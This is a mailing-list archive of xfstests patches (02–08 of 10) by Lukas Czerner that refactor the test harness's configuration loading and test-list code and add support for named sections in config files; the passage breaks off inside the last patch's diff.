X-ASG-Orig-Subj: [PATCH 05/10] xfstests: Allow to re-read configuration Message-Id: <1373464839-31535-6-git-send-email-lczerner@redhat.com> In-Reply-To: <1373464839-31535-1-git-send-email-lczerner@redhat.com> References: <1373464839-31535-1-git-send-email-lczerner@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1373464851 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Move configuration initialization into a function so we can re-read it without the need to reinclude the common/config file which would be ugly. This is in preparation for adding support for sections into config files. Signed-off-by: Lukas Czerner --- common/config | 104 +++++++++++++++++++++++++++++++--------------------------- 1 file changed, 55 insertions(+), 49 deletions(-) diff --git a/common/config b/common/config index 1679acf..34c99e1 100644 --- a/common/config +++ b/common/config @@ -214,64 +214,70 @@ esac known_hosts() { - [ "$HOST_CONFIG_DIR" ] || HOST_CONFIG_DIR=`pwd`/configs - - [ -f /etc/xfsqa.config ] && . /etc/xfsqa.config - [ -f $HOST_CONFIG_DIR/$HOST ] && . $HOST_CONFIG_DIR/$HOST - [ -f $HOST_CONFIG_DIR/$HOST.config ] && . $HOST_CONFIG_DIR/$HOST.config - - # Mandatory Config values. - MC="" - [ -z "$EMAIL" ] && MC="$MC EMAIL" - [ -z "$TEST_DIR" ] && MC="$MC TEST_DIR" - [ -z "$TEST_DEV" ] && MC="$MC TEST_DEV" - - if [ -n "$MC" ]; then - echo "Warning: need to define parameters for host $HOST" - echo " or set variables:" - echo " $MC" - exit 1 - fi + [ "$HOST_CONFIG_DIR" ] || HOST_CONFIG_DIR=`pwd`/configs + + [ -f /etc/xfsqa.config ] && export HOST_OPTIONS=/etc/xfsqa.config + [ -f $HOST_CONFIG_DIR/$HOST ] && export HOST_OPTIONS=$HOST_CONFIG_DIR/$HOST + [ -f $HOST_CONFIG_DIR/$HOST.config ] && export HOST_OPTIONS=$HOST_CONFIG_DIR/$HOST.config } -if [ -f "$HOST_OPTIONS" ]; then - . "$HOST_OPTIONS" -else - known_hosts +if [ ! -f "$HOST_OPTIONS" ]; then + known_hosts fi -echo $TEST_DEV | grep -q ":" > /dev/null 2>&1 -if [ ! -b "$TEST_DEV" -a "$?" != "0" ]; then - echo "common/config: Error: \$TEST_DEV ($TEST_DEV) is not a block device or a NFS filesystem" - exit 1 +if [ -f "$HOST_OPTIONS" ]; then + . $HOST_OPTIONS fi -if [ ! -d "$TEST_DIR" ]; then - echo "common/config: Error: \$TEST_DIR ($TEST_DIR) is not a directory" - exit 1 -fi +get_next_config() { + # Mandatory Config values. + MC="" + [ -z "$EMAIL" ] && MC="$MC EMAIL" + [ -z "$TEST_DIR" ] && MC="$MC TEST_DIR" + [ -z "$TEST_DEV" ] && MC="$MC TEST_DEV" + + if [ -n "$MC" ]; then + echo "Warning: need to define parameters for host $HOST" + echo " or set variables:" + echo " $MC" + exit 1 + fi -# a btrfs tester will set only SCRATCH_DEV_POOL, we will put first of its dev -# to SCRATCH_DEV and rest to SCRATCH_DEV_POOL to maintain the backward compatibility -if [ ! -z "$SCRATCH_DEV_POOL" ]; then - if [ ! -z "$SCRATCH_DEV" ]; then - echo "common/config: Error: \$SCRATCH_DEV should be unset when \$SCRATCH_DEV_POOL is set" - exit 1 - fi - SCRATCH_DEV=`echo $SCRATCH_DEV_POOL | awk '{print $1}'` - SCRATCH_DEV_POOL=`echo $SCRATCH_DEV_POOL | awk '{ ORS=" "; for (i = 2; i <= NF; i++) print $i}'` -fi + echo $TEST_DEV | grep -q ":" > /dev/null 2>&1 + if [ ! -b "$TEST_DEV" -a "$?" != "0" ]; then + echo "common/config: Error: \$TEST_DEV ($TEST_DEV) is not a block device or a NFS filesystem" + exit 1 + fi -echo $SCRATCH_DEV | grep -q ":" > /dev/null 2>&1 -if [ ! -z "$SCRATCH_DEV" -a ! -b "$SCRATCH_DEV" -a "$?" != "0" ]; then - echo "common/config: Error: \$SCRATCH_DEV ($SCRATCH_DEV) is not a block device or a NFS filesystem" - exit 1 -fi + if [ ! -d "$TEST_DIR" ]; then + echo "common/config: Error: \$TEST_DIR ($TEST_DIR) is not a directory" + exit 1 + fi -if [ ! -z "$SCRATCH_MNT" -a ! -d "$SCRATCH_MNT" ]; then - echo "common/config: Error: \$SCRATCH_MNT ($SCRATCH_MNT) is not a directory" - exit 1 -fi + # a btrfs tester will set only SCRATCH_DEV_POOL, we will put first of its dev + # to SCRATCH_DEV and rest to SCRATCH_DEV_POOL to maintain the backward compatibility + if [ ! -z "$SCRATCH_DEV_POOL" ]; then + if [ ! -z "$SCRATCH_DEV" ]; then + echo "common/config: Error: \$SCRATCH_DEV should be unset when \$SCRATCH_DEV_POOL is set" + exit 1 + fi + SCRATCH_DEV=`echo $SCRATCH_DEV_POOL | awk '{print $1}'` + SCRATCH_DEV_POOL=`echo $SCRATCH_DEV_POOL | awk '{ ORS=" "; for (i = 2; i <= NF; i++) print $i}'` + fi + + echo $SCRATCH_DEV | grep -q ":" > /dev/null 2>&1 + if [ ! -z "$SCRATCH_DEV" -a ! -b "$SCRATCH_DEV" -a "$?" != "0" ]; then + echo "common/config: Error: \$SCRATCH_DEV ($SCRATCH_DEV) is not a block device or a NFS filesystem" + exit 1 + fi + + if [ ! -z "$SCRATCH_MNT" -a ! -d "$SCRATCH_MNT" ]; then + echo "common/config: Error: \$SCRATCH_MNT ($SCRATCH_MNT) is not a directory" + exit 1 + fi +} + +get_next_config # make sure this script returns success /bin/true -- 1.8.3.1 From lczerner@redhat.com Wed Jul 10 09:00:54 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 2B5C07F56 for ; Wed, 10 Jul 2013 09:00:54 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id BA174AC006 for ; Wed, 10 Jul 2013 07:00:50 -0700 (PDT) X-ASG-Debug-ID: 1373464847-04cbb0468fd95cb0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id AMQsbCu1tNpJ9Jxb for ; Wed, 10 Jul 2013 07:00:49 -0700 (PDT) X-Barracuda-Envelope-From: lczerner@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r6AE0lna022548 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Wed, 10 Jul 2013 10:00:47 -0400 Received: from localhost.localdomain.com (dhcp-1-146.brq.redhat.com [10.34.1.146]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id r6AE0hc0007249; Wed, 10 Jul 2013 10:00:46 -0400 From: Lukas Czerner To: xfs@oss.sgi.com Cc: Lukas Czerner Subject: [PATCH 02/10] xfstests: Export all important variables in common/config Date: Wed, 10 Jul 2013 16:00:31 +0200 X-ASG-Orig-Subj: [PATCH 02/10] xfstests: Export all important variables in common/config Message-Id: <1373464839-31535-3-git-send-email-lczerner@redhat.com> In-Reply-To: <1373464839-31535-1-git-send-email-lczerner@redhat.com> References: <1373464839-31535-1-git-send-email-lczerner@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1373464847 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Currently we do not export some of the important variables in common/config. Fix this. Signed-off-by: Lukas Czerner --- common/config | 18 +++++++++--------- 1 file changed, 9 insertions(+), 9 deletions(-) diff --git a/common/config b/common/config index 67c1498..1679acf 100644 --- a/common/config +++ b/common/config @@ -56,19 +56,19 @@ export LANG=C [ -d /usr/freeware/bin ] && PATH=$PATH:/usr/freeware/bin PATH=".:$PATH" -HOST=`hostname -s` -HOSTOS=`uname -s` -[ "$HOSTOS" = "IRIX64" ] && HOSTOS="IRIX" +export HOST=`hostname -s` +export HOSTOS=`uname -s` +[ "$HOSTOS" = "IRIX64" ] && export HOSTOS="IRIX" -MODULAR=0 # using XFS as a module or not -BOOT="/boot" # install target for kernels +export MODULAR=0 # using XFS as a module or not +export BOOT="/boot" # install target for kernels export EXTRA=${EXTRA:=xfs-qa} # general parameters (mainly for auto-qa) -SOAK_PROC=3 # -p option to fsstress -SOAK_STRESS=10000 # -n option to fsstress -SOAK_PASSES=-1 # count of repetitions of fsstress (while soaking) -EMAIL=root@localhost # where auto-qa will send its status messages +export SOAK_PROC=3 # -p option to fsstress +export SOAK_STRESS=10000 # -n option to fsstress +export SOAK_PASSES=-1 # count of repetitions of fsstress (while soaking) +export EMAIL=root@localhost # where auto-qa will send its status messages export HOST_OPTIONS=${HOST_OPTIONS:=local.config} export CHECK_OPTIONS=${CHECK_OPTIONS:="-g auto"} export BENCH_PASSES=${BENCH_PASSES:=5} -- 1.8.3.1 From lczerner@redhat.com Wed Jul 10 09:00:54 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 73B027F59 for ; Wed, 10 Jul 2013 09:00:54 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id DA10FAC009 for ; Wed, 10 Jul 2013 07:00:50 -0700 (PDT) X-ASG-Debug-ID: 1373464849-04cbb0468ed95cc0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id oQEFCTwelb7rKiGL for ; Wed, 10 Jul 2013 07:00:49 -0700 (PDT) X-Barracuda-Envelope-From: lczerner@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r6AE0nXA005864 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Wed, 10 Jul 2013 10:00:49 -0400 Received: from localhost.localdomain.com (dhcp-1-146.brq.redhat.com [10.34.1.146]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id r6AE0hc2007249; Wed, 10 Jul 2013 10:00:48 -0400 From: Lukas Czerner To: xfs@oss.sgi.com Cc: Lukas Czerner Subject: [PATCH 04/10] xfstests: Allow to recheck options in common/rc Date: Wed, 10 Jul 2013 16:00:33 +0200 X-ASG-Orig-Subj: [PATCH 04/10] xfstests: Allow to recheck options in common/rc Message-Id: <1373464839-31535-5-git-send-email-lczerner@redhat.com> In-Reply-To: <1373464839-31535-1-git-send-email-lczerner@redhat.com> References: <1373464839-31535-1-git-send-email-lczerner@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1373464849 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Move configuration checks into separate function to allow us to recheck the options without the need to reinclude the whole source file which is ugly. We still run the check on include. Signed-off-by: Lukas Czerner --- common/rc | 74 ++++++++++++++++++++++++++++++++------------------------------- 1 file changed, 38 insertions(+), 36 deletions(-) diff --git a/common/rc b/common/rc index fe6bbfc..0dd30a3 100644 --- a/common/rc +++ b/common/rc @@ -2131,46 +2131,48 @@ run_check() "$@" >> $seqres.full 2>&1 || _fail "failed: '$@'" } -################################################################################ - -if [ "$iam" != new ] -then - # make some further configuration checks here - - if [ "$TEST_DEV" = "" ] - then - echo "common/rc: Error: \$TEST_DEV is not set" - exit 1 - fi - - # if $TEST_DEV is not mounted, mount it now as XFS - if [ -z "`_fs_type $TEST_DEV`" ] - then - # $TEST_DEV is not mounted - if ! _test_mount - then - echo "common/rc: retrying test device mount with external set" - [ "$USE_EXTERNAL" != "yes" ] && export USE_EXTERNAL=yes - if ! _test_mount - then - echo "common/rc: could not mount $TEST_DEV on $TEST_DIR" - exit 1 - fi - fi - fi +init_rc() +{ + if [ "$iam" == new ] + then + return + fi + # make some further configuration checks here + if [ "$TEST_DEV" = "" ] + then + echo "common/rc: Error: \$TEST_DEV is not set" + exit 1 + fi - if [ "`_fs_type $TEST_DEV`" != "$FSTYP" ] - then - echo "common/rc: Error: \$TEST_DEV ($TEST_DEV) is not a MOUNTED $FSTYP filesystem" - $DF_PROG $TEST_DEV - exit 1 - fi + # if $TEST_DEV is not mounted, mount it now as XFS + if [ -z "`_fs_type $TEST_DEV`" ] + then + # $TEST_DEV is not mounted + if ! _test_mount + then + echo "common/rc: retrying test device mount with external set" + [ "$USE_EXTERNAL" != "yes" ] && export USE_EXTERNAL=yes + if ! _test_mount + then + echo "common/rc: could not mount $TEST_DEV on $TEST_DIR" + exit 1 + fi + fi + fi - # Figure out if we need to add -F ("foreign", deprecated) option to xfs_io - xfs_io -c stat $TEST_DIR 2>&1 | grep -q "is not on an XFS filesystem" && \ + if [ "`_fs_type $TEST_DEV`" != "$FSTYP" ] + then + echo "common/rc: Error: \$TEST_DEV ($TEST_DEV) is not a MOUNTED $FSTYP filesystem" + $DF_PROG $TEST_DEV + exit 1 + fi + # Figure out if we need to add -F ("foreign", deprecated) option to xfs_io + xfs_io -c stat $TEST_DIR 2>&1 | grep -q "is not on an XFS filesystem" && \ export XFS_IO_PROG="$XFS_IO_PROG -F" +} -fi +init_rc +################################################################################ # make sure this script returns success /bin/true -- 1.8.3.1 From lczerner@redhat.com Wed Jul 10 09:00:56 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id B55DA7F66 for ; Wed, 10 Jul 2013 09:00:55 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id A83E88F8049 for ; Wed, 10 Jul 2013 07:00:55 -0700 (PDT) X-ASG-Debug-ID: 1373464853-04cb6c2a46ae1af0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id CyoKDaR5eV8VSqYb for ; Wed, 10 Jul 2013 07:00:53 -0700 (PDT) X-Barracuda-Envelope-From: lczerner@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r6AE0pDt010783 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Wed, 10 Jul 2013 10:00:52 -0400 Received: from localhost.localdomain.com (dhcp-1-146.brq.redhat.com [10.34.1.146]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id r6AE0hc4007249; Wed, 10 Jul 2013 10:00:50 -0400 From: Lukas Czerner To: xfs@oss.sgi.com Cc: Lukas Czerner Subject: [PATCH 06/10] xfstests: Allow to specify RESULT_BASE directory Date: Wed, 10 Jul 2013 16:00:35 +0200 X-ASG-Orig-Subj: [PATCH 06/10] xfstests: Allow to specify RESULT_BASE directory Message-Id: <1373464839-31535-7-git-send-email-lczerner@redhat.com> In-Reply-To: <1373464839-31535-1-git-send-email-lczerner@redhat.com> References: <1373464839-31535-1-git-send-email-lczerner@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1373464853 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 This commit adds the possibility to specify RESULT_BASE directory from the config file, or with environment variable. The default remains the same "$here/results/". Signed-off-by: Lukas Czerner --- check | 1 - common/config | 5 +++++ 2 files changed, 5 insertions(+), 1 deletion(-) diff --git a/check b/check index 2c003ae..1f41336 100755 --- a/check +++ b/check @@ -66,7 +66,6 @@ export FSTYP SUPPORTED_TESTS="[0-9][0-9][0-9] [0-9][0-9][0-9][0-9]" SRC_GROUPS="generic shared" export SRC_DIR="tests" -export RESULT_BASE=${RESULT_BASE:="$here/results"} usage() { diff --git a/common/config b/common/config index 34c99e1..39dd469 100644 --- a/common/config +++ b/common/config @@ -230,6 +230,11 @@ if [ -f "$HOST_OPTIONS" ]; then fi get_next_config() { + # set default RESULT_BASE + if [ -z "$RESULT_BASE" ]; then + export RESULT_BASE="$here/results/" + fi + # Mandatory Config values. MC="" [ -z "$EMAIL" ] && MC="$MC EMAIL" -- 1.8.3.1 From lczerner@redhat.com Wed Jul 10 09:00:54 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 56C5C7F58 for ; Wed, 10 Jul 2013 09:00:54 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id D0C98AC008 for ; Wed, 10 Jul 2013 07:00:50 -0700 (PDT) X-ASG-Debug-ID: 1373464849-04cb6c2a47ae1ad0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id dFfxq77wlEORFCEO for ; Wed, 10 Jul 2013 07:00:49 -0700 (PDT) X-Barracuda-Envelope-From: lczerner@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r6AE0mYB021450 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Wed, 10 Jul 2013 10:00:48 -0400 Received: from localhost.localdomain.com (dhcp-1-146.brq.redhat.com [10.34.1.146]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id r6AE0hc1007249; Wed, 10 Jul 2013 10:00:47 -0400 From: Lukas Czerner To: xfs@oss.sgi.com Cc: Lukas Czerner Subject: [PATCH 03/10] xfstests: Refactor code for obtaining test list Date: Wed, 10 Jul 2013 16:00:32 +0200 X-ASG-Orig-Subj: [PATCH 03/10] xfstests: Refactor code for obtaining test list Message-Id: <1373464839-31535-4-git-send-email-lczerner@redhat.com> In-Reply-To: <1373464839-31535-1-git-send-email-lczerner@redhat.com> References: <1373464839-31535-1-git-send-email-lczerner@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1373464849 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Put the code for obtaining the list of test into one place which makes things more readable. It will also allow us to re-init the list in the future if we need it. Signed-off-by: Lukas Czerner --- check | 99 ++++++++++++++++++++++++++++++++++++------------------------------- 1 file changed, 53 insertions(+), 46 deletions(-) diff --git a/check b/check index 71b179b..2c003ae 100755 --- a/check +++ b/check @@ -154,6 +154,55 @@ _timestamp() echo -n " [$now]" } +_prepare_test_list() +{ + # Tests specified on the command line + if [ -s $tmp.arglist ]; then + cat $tmp.arglist > $tmp.list + else + touch $tmp.list + fi + + # Specified groups to include + for group in $GROUP_LIST; do + list=$(get_group_list $group) + if [ -z "$list" ]; then + echo "Group \"$group\" is empty or not defined?" + exit 1 + fi + + for t in $list; do + grep -s "^$t\$" $tmp.list >/dev/null || \ + echo "$t" >>$tmp.list + done + done + + if ! $have_test_arg && [ -z "$GROUP_LIST" ]; then + # no test numbers, do everything + get_all_tests + fi + + # Specified groups to exclude + for xgroup in $XGROUP_LIST; do + list=$(get_group_list $xgroup) + if [ -z "$list" ]; then + echo "Group \"$xgroup\" is empty or not defined?" + exit 1 + fi + + trim_test_list $list + done + + # sort the list of tests into numeric order + list=`sort -n $tmp.list | uniq` + rm -f $tmp.list $tmp.tmp $tmp.grep + + if $randomize + then + list=`echo $list | awk -f randomize.awk` + fi +} + # Process command arguments first. while [ $# -gt 0 ]; do case "$1" in @@ -164,35 +213,11 @@ while [ $# -gt 0 ]; do -nfs) FSTYP=nfs ;; -g) group=$2 ; shift ; - group_list=$(get_group_list $group) - if [ -z "$group_list" ]; then - echo "Group \"$group\" is empty or not defined?" - exit 1 - fi - - [ ! -s $tmp.list ] && touch $tmp.list - for t in $group_list; do - grep -s "^$t\$" $tmp.list >/dev/null || \ - echo "$t" >>$tmp.list - done - + GROUP_LIST="$GROUP_LIST $group" ;; -x) xgroup=$2 ; shift ; - - # Note: behaviour is dependent on command line ordering of - # -g and -x parameters. If there are no preceding -g commands, - # this works on all tests, otherwise just the tests specified by - # the early -g inclusions. - [ ! -s $tmp.list ] && get_all_tests - - group_list=$(get_group_list $xgroup) - if [ -z "$group_list" ]; then - echo "Group \"$xgroup\" is empty or not defined?" - exit 1 - fi - - trim_test_list $group_list + XGROUP_LIST="$XGROUP_LIST $xgroup" ;; -X) xfile=$2; shift ; @@ -244,7 +269,7 @@ if $have_test_arg; then if egrep "^$test_name" $group_file >/dev/null ; then # in group file ... OK - echo $SRC_DIR/$1 >>$tmp.list + echo $SRC_DIR/$1 >>$tmp.arglist else # oops echo "$1 - unknown test, ignored" @@ -256,25 +281,7 @@ if $have_test_arg; then done fi -if [ -s $tmp.list ]; then - # found some valid test numbers ... this is good - : -elif $have_test_arg; then - # had test numbers, but none in group file ... do nothing - touch $tmp.list -else - # no test numbers, do everything - get_all_tests -fi - -# sort the list of tests into numeric order -list=`sort -n $tmp.list` -rm -f $tmp.list $tmp.tmp $tmp.grep - -if $randomize -then - list=`echo $list | awk -f randomize.awk` -fi +_prepare_test_list # we need common/rc if ! . ./common/rc -- 1.8.3.1 From lczerner@redhat.com Wed Jul 10 09:00:57 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 743C77F5F for ; Wed, 10 Jul 2013 09:00:57 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 581C3304077 for ; Wed, 10 Jul 2013 07:00:57 -0700 (PDT) X-ASG-Debug-ID: 1373464856-04cbb0468fd95cf0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id hBJ5SQsIKq0QCQ0l for ; Wed, 10 Jul 2013 07:00:56 -0700 (PDT) X-Barracuda-Envelope-From: lczerner@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r6AE0tac015420 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Wed, 10 Jul 2013 10:00:55 -0400 Received: from localhost.localdomain.com (dhcp-1-146.brq.redhat.com [10.34.1.146]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id r6AE0hc6007249; Wed, 10 Jul 2013 10:00:53 -0400 From: Lukas Czerner To: xfs@oss.sgi.com Cc: Lukas Czerner Subject: [PATCH 08/10] xfstests: Add support for sections in config file Date: Wed, 10 Jul 2013 16:00:37 +0200 X-ASG-Orig-Subj: [PATCH 08/10] xfstests: Add support for sections in config file Message-Id: <1373464839-31535-9-git-send-email-lczerner@redhat.com> In-Reply-To: <1373464839-31535-1-git-send-email-lczerner@redhat.com> References: <1373464839-31535-1-git-send-email-lczerner@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1373464856 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 This patch add support for sections in the config file. Each section can contain configuration options in the format OPTION=value when one section is processed xfstests will proceed to next section until all secitons are processed, or an error occur. The name of the section can consist of alphanumeric characters + '_', nothing else is allowed. Name of the section is also used to create results subdirectory for each section. After all the sections are processed summary of all runs is printed out. If the config file does not contain sections, or we're not using config file at all, nothing is changed and xfstests will work the same way as it used to. This is very useful for testing file system with different options. Here is an example of the config file with sections: [ext4_4k_block_size] TEST_DEV=/dev/sda TEST_DIR=/mnt/test SCRATCH_DEV=/dev/sdb SCRATCH_MNT=/mnt/test1 MKFS_OPTIONS="-q -F -b4096" FSTYP=ext4 [ext4_1k_block_size] MKFS_OPTIONS="-q -F -b1024" [ext4_nojournal] MKFS_OPTIONS="-q -F -b4096 -O ^has_journal" [ext4_discard_ssd] MKFS_OPTIONS="-q -F -b4096" TEST_DEV=/dev/sdc SCRATCH_DEV=/dev/sdd MOUNT_OPTIONS="-o discard" Note that once the variable is set it remains set across the sections, so you do not have to specify all the options in all sections. However one have to make sure that unwanted options are not set from previous sections. Signed-off-by: Lukas Czerner --- README.config-sections | 50 ++++++++++++++++++++++++++++++++++ check | 73 +++++++++++++++++++++++++++++++++++++++++--------- common/config | 49 +++++++++++++++++++++++++++++++-- 3 files changed, 158 insertions(+), 14 deletions(-) create mode 100644 README.config-sections diff --git a/README.config-sections b/README.config-sections new file mode 100644 index 0000000..6d88a6f --- /dev/null +++ b/README.config-sections @@ -0,0 +1,50 @@ +Configuration file with sections +================================ + +Configuration file with sections is useful for running xfstests on multiple +file systems, or multiple file system setups in a single run without any +help of external scripts. + +Syntax for defining a section is the following: + +[section_name] + +Section name should consist of alphanumeric characters and '_'. Anything +else is forbidden and the section will not be recognised. + +Each section in the configuration file should contain options in the format + +OPTION=value + +'OPTION' must not contain any white space characters. 'value' can contain +any character you want with one simple limitation - characters ' and " can +only appear at the start and end of the 'value', however it is not required. + +Note that options are carried between sections so the same options does not +have to be specified in each and every sections. However caution should be +exercised not to leave unwanted options set from previous sections. + +For every section xfstests will run with specified options and will produce +separate results in the '$RESULT_BASE/$section_name' directory. + +Here is an example of config file with sections: + +[ext4_4k_block_size] +TEST_DEV=/dev/sda +TEST_DIR=/mnt/test +SCRATCH_DEV=/dev/sdb +SCRATCH_MNT=/mnt/test1 +MKFS_OPTIONS="-q -F -b4096" +FSTYP=ext4 + +[ext4_1k_block_size] +MKFS_OPTIONS="-q -F -b1024" + +[ext4_nojournal] +MKFS_OPTIONS="-q -F -b4096 -O ^has_journal" + +[ext4_discard_ssd] +MKFS_OPTIONS="-q -F -b4096" +TEST_DEV=/dev/sdc +SCRATCH_DEV=/dev/sdd +MOUNT_OPTIONS="-o discard" diff --git a/check b/check index e1d0af2..b242d5d 100755 --- a/check +++ b/check @@ -22,9 +22,11 @@ tmp=/tmp/$$ status=0 needwrap=true +needsum=true n_try=0 try="" n_bad=0 +sum_bad=0 bad="" notrun="" interrupt=true @@ -295,7 +297,12 @@ then exit 1 fi -# Ok, time to start running... +_wipe_counters() +{ + n_try="0" + n_bad="0" + unset try notrun bad +} _wrapup() { @@ -324,16 +331,20 @@ END { if (NR > 0) { date >>$check.log echo $list | fmt | sed -e 's/^/ /' -e "s;$SRC_DIR/;;g" >>$check.log $interrupt && echo "Interrupted!" >>$check.log - + + echo "SECTION -- $section" >>$tmp.summary + echo "=========================" >>$tmp.summary if [ ! -z "$n_try" -a $n_try != 0 ] then echo "Ran:$try" + echo "Ran:$try" >>$tmp.summary fi if [ ! -z "$notrun" ] then echo "Not run:$notrun" echo "Not run:$notrun" >>$check.log + echo "Not run:$notrun" >>$tmp.summary fi if [ ! -z "$n_bad" -a $n_bad != 0 ] @@ -342,20 +353,48 @@ END { if (NR > 0) { echo "Failed $n_bad of 